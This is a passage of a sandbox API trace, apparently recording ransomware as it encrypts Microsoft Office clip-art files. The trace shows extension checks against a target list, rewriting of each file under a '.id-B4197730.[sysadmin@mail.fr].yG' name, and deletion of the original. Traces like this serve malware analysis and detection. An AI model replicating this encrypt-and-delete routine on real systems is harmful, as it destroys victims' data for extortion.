	[0150.952] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1
	[0150.952] lstrlenW (lpString=".pdf") returned 4
	[0150.952] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.952] lstrlenW (lpString=".xls") returned 4
	[0150.952] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.952] lstrlenW (lpString=".xlsx") returned 5
	[0150.952] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1
	[0150.952] lstrlenW (lpString=".ppt") returned 4
	[0150.952] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0150.952] lstrlenW (lpString=".zip") returned 4
	[0150.952] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.952] lstrlenW (lpString=".rar") returned 4
	[0150.952] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.952] lstrlenW (lpString=".bz2") returned 4
	[0150.952] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.952] lstrlenW (lpString=".7z") returned 3
	[0150.952] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0150.952] lstrlenW (lpString=".dbf") returned 4
	[0150.952] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0150.952] lstrlenW (lpString=".1cd") returned 4
	[0150.952] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0150.952] lstrlenW (lpString=".jpg") returned 4
	[0150.952] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0150.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0150.953] lstrlenW (lpString=".doc") returned 4
	[0150.953] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.953] lstrlenW (lpString=".docx") returned 5
	[0150.953] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1
	[0150.953] lstrlenW (lpString=".pdf") returned 4
	[0150.953] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.953] lstrlenW (lpString=".xls") returned 4
	[0150.953] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.953] lstrlenW (lpString=".xlsx") returned 5
	[0150.953] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1
	[0150.953] lstrlenW (lpString=".ppt") returned 4
	[0150.953] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0150.953] lstrlenW (lpString=".zip") returned 4
	[0150.953] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.953] lstrlenW (lpString=".rar") returned 4
	[0150.953] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.953] lstrlenW (lpString=".bz2") returned 4
	[0150.953] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.953] lstrlenW (lpString=".7z") returned 3
	[0150.953] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0150.953] lstrlenW (lpString=".dbf") returned 4
	[0150.954] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0150.954] lstrlenW (lpString=".1cd") returned 4
	[0150.954] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0150.954] lstrlenW (lpString=".jpg") returned 4
	[0150.954] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.954] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.954] lstrlenW (lpString="PARNT_06.MID") returned 12
	[0150.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.106] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=7768) returned 1
	[0151.106] CloseHandle (hObject=0x388) returned 1
	[0151.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 0x220
	[0151.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.107] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.107] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0151.108] GetLastError () returned 0x0
	[0151.108] ReadFile (in: hFile=0x388, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x1e58, lpOverlapped=0x0) returned 1
	[0151.143] WriteFile (in: hFile=0x530, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x1e60, lpOverlapped=0x0) returned 1
	[0151.144] ReadFile (in: hFile=0x388, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.145] WriteFile (in: hFile=0x530, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.145] SetEndOfFile (hFile=0x530) returned 1
	[0151.145] CloseHandle (hObject=0x530) returned 1
	[0151.145] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.145] SetEndOfFile (hFile=0x388) returned 1
	[0151.152] CloseHandle (hObject=0x388) returned 1
	[0151.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 1
	[0151.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0151.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0151.160] lstrlenW (lpString=".doc") returned 4
	[0151.160] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.160] lstrlenW (lpString=".docx") returned 5
	[0151.160] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1
	[0151.160] lstrlenW (lpString=".pdf") returned 4
	[0151.160] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.161] lstrlenW (lpString=".xls") returned 4
	[0151.161] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.161] lstrlenW (lpString=".xlsx") returned 5
	[0151.161] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1
	[0151.161] lstrlenW (lpString=".ppt") returned 4
	[0151.161] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0151.161] lstrlenW (lpString=".zip") returned 4
	[0151.161] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.161] lstrlenW (lpString=".rar") returned 4
	[0151.161] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.161] lstrlenW (lpString=".bz2") returned 4
	[0151.161] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.161] lstrlenW (lpString=".7z") returned 3
	[0151.161] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0151.161] lstrlenW (lpString=".dbf") returned 4
	[0151.161] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0151.161] lstrlenW (lpString=".1cd") returned 4
	[0151.161] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0151.161] lstrlenW (lpString=".jpg") returned 4
	[0151.161] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0151.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0151.162] lstrlenW (lpString=".doc") returned 4
	[0151.162] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.162] lstrlenW (lpString=".docx") returned 5
	[0151.162] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1
	[0151.162] lstrlenW (lpString=".pdf") returned 4
	[0151.162] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.162] lstrlenW (lpString=".xls") returned 4
	[0151.162] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.162] lstrlenW (lpString=".xlsx") returned 5
	[0151.162] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1
	[0151.162] lstrlenW (lpString=".ppt") returned 4
	[0151.162] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0151.162] lstrlenW (lpString=".zip") returned 4
	[0151.162] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.162] lstrlenW (lpString=".rar") returned 4
	[0151.162] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.162] lstrlenW (lpString=".bz2") returned 4
	[0151.162] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.163] lstrlenW (lpString=".7z") returned 3
	[0151.163] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0151.163] lstrlenW (lpString=".dbf") returned 4
	[0151.163] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0151.163] lstrlenW (lpString=".1cd") returned 4
	[0151.163] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68
	[0151.164] lstrlenW (lpString=".jpg") returned 4
	[0151.164] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.164] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0151.164] lstrlenW (lpString="PARNT_07.MID") returned 12
	[0151.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.165] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=6564) returned 1
	[0151.165] CloseHandle (hObject=0x388) returned 1
	[0151.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 0x220
	[0151.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.166] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.166] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0151.167] GetLastError () returned 0x0
	[0151.168] ReadFile (in: hFile=0x388, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x19a4, lpOverlapped=0x0) returned 1
	[0151.201] WriteFile (in: hFile=0x530, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x19b0, lpOverlapped=0x0) returned 1
	[0151.202] ReadFile (in: hFile=0x388, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.202] WriteFile (in: hFile=0x530, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.203] SetEndOfFile (hFile=0x530) returned 1
	[0151.203] CloseHandle (hObject=0x530) returned 1
	[0151.203] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.203] SetEndOfFile (hFile=0x388) returned 1
	[0151.206] CloseHandle (hObject=0x388) returned 1
	[0151.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 1
	[0151.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0151.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0151.315] lstrlenW (lpString=".doc") returned 4
	[0151.315] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.315] lstrlenW (lpString=".docx") returned 5
	[0151.315] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1
	[0151.315] lstrlenW (lpString=".pdf") returned 4
	[0151.315] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.315] lstrlenW (lpString=".xls") returned 4
	[0151.315] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.315] lstrlenW (lpString=".xlsx") returned 5
	[0151.315] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1
	[0151.315] lstrlenW (lpString=".ppt") returned 4
	[0151.315] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0151.315] lstrlenW (lpString=".zip") returned 4
	[0151.315] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.315] lstrlenW (lpString=".rar") returned 4
	[0151.315] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.315] lstrlenW (lpString=".bz2") returned 4
	[0151.315] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.315] lstrlenW (lpString=".7z") returned 3
	[0151.315] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0151.315] lstrlenW (lpString=".dbf") returned 4
	[0151.315] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0151.315] lstrlenW (lpString=".1cd") returned 4
	[0151.316] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0151.316] lstrlenW (lpString=".jpg") returned 4
	[0151.316] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0151.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0151.316] lstrlenW (lpString=".doc") returned 4
	[0151.316] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.316] lstrlenW (lpString=".docx") returned 5
	[0151.316] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1
	[0151.316] lstrlenW (lpString=".pdf") returned 4
	[0151.316] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.316] lstrlenW (lpString=".xls") returned 4
	[0151.316] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.316] lstrlenW (lpString=".xlsx") returned 5
	[0151.316] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1
	[0151.316] lstrlenW (lpString=".ppt") returned 4
	[0151.316] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0151.316] lstrlenW (lpString=".zip") returned 4
	[0151.316] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.316] lstrlenW (lpString=".rar") returned 4
	[0151.316] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.316] lstrlenW (lpString=".bz2") returned 4
	[0151.316] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.316] lstrlenW (lpString=".7z") returned 3
	[0151.316] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0151.317] lstrlenW (lpString=".dbf") returned 4
	[0151.317] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0151.317] lstrlenW (lpString=".1cd") returned 4
	[0151.317] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68
	[0151.317] lstrlenW (lpString=".jpg") returned 4
	[0151.317] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.317] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0151.317] lstrlenW (lpString="PARNT_09.MID") returned 12
	[0151.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0151.585] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=6764) returned 1
	[0151.585] CloseHandle (hObject=0x558) returned 1
	[0151.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220
	[0151.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0151.586] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.586] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0151.594] GetLastError () returned 0x0
	[0151.594] ReadFile (in: hFile=0x558, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x1a6c, lpOverlapped=0x0) returned 1
	[0151.614] WriteFile (in: hFile=0x48c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x1a70, lpOverlapped=0x0) returned 1
	[0151.615] ReadFile (in: hFile=0x558, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.615] WriteFile (in: hFile=0x48c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.616] SetEndOfFile (hFile=0x48c) returned 1
	[0151.616] CloseHandle (hObject=0x48c) returned 1
	[0151.616] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.616] SetEndOfFile (hFile=0x558) returned 1
	[0151.619] CloseHandle (hObject=0x558) returned 1
	[0151.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 1
	[0151.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0151.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0151.620] lstrlenW (lpString=".doc") returned 4
	[0151.620] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.620] lstrlenW (lpString=".docx") returned 5
	[0151.621] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1
	[0151.621] lstrlenW (lpString=".pdf") returned 4
	[0151.621] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.621] lstrlenW (lpString=".xls") returned 4
